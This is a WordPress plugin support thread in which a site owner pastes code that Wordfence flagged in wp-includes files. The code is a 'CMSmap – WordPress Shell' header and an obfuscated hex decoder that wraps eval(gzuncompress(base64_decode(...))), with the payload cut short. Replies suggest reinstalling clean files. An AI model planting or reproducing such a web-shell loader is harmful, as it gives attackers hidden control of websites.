Support » Plugin: Frontend Publishing » File apperas to be malicious wp-includes/css/css.php

  • Resolved madhu patidar



    After scanning my site from wordfence plugin, I’m getting a message saying ‘../wp-includes/css/css.php’ and ‘../wp-includes/css/wp-config.php’. contain malicious code.

    The above both files contains below code- and i don’t have this plugin “CMSmap – WordPress Shell”.

    * Plugin Name: CMSmap – WordPress Shell
    * Plugin URI:
    * Description: Simple WordPress Shell – Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.
    * Version: 1.0
    * Author: CMSmap
    * Author URI:
    * License: GPLv2
    function Class_UC_key($string){
    $array = strlen (trim($string));
    $debuger = ”;
    for($one = 0;$one < $array;$one+=2) {
    $debuger .= pack (“C”,hexdec (substr ($string,$one,2)));
    return $debuger;
    header(“content-Type: text/html; charset=gb2312”);
    Class_UC_key(“273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827″).’eJzsJ ………….. Y8f8Dk7fBIg==\’)));’;

    I deleted these file but then it automatically re-creates itself ?

    Any ideas please?

    • This topic was modified 2 years, 2 months ago by madhu patidar.
Viewing 2 replies - 1 through 2 (of 2 total)
  • Plugin Author Hassan Akhtar


    The contents of those files are supposed to be different from what you’re seeing. You may have malware on your site that is changing the files. Please try deleting the plugin and installing a fresh copy. If that doesn’t work you may have to try a professional malware removal service.

    Thread Starter madhu patidar


    ok.. thanks for reply..

    I didn’t find that issue but… I replaced all plugin with my local copy and also replaced wp-admin and wp-includes folder with new fresh wordpress folders.

    now its not showing that malicious code.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘File apperas to be malicious wp-includes/css/css.php’ is closed to new replies.